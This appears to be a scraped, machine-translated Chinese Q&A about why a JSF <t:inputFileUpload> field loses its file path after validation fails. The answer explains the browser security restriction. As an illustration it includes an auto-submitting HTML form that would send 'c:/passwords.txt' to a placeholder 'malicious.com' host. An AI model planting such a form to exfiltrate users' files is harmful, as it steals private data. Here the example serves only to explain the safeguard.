3
驗證以下代碼後發現上傳文件路徑的值丟失。無論如何,我可以在驗證失敗後保留價值嗎?謝謝。驗證失敗後JSF <t:inputFileUpload>值丟失
<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />
驗證以下代碼後發現上傳文件路徑的值丟失。無論如何,我可以在驗證失敗後保留價值嗎?謝謝。驗證失敗後JSF <t:inputFileUpload>值丟失
<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />
這是不可能的。這是HTML的安全限制。您無法預先填寫/保留HTML <input type="file">
字段的值。由於JSF只是生成HTML,因此JSF不能做太多的事情。
想象,這個安全限制是不存在的,網站將能夠做到以下幾點:
<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
<input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>
你看到了嗎?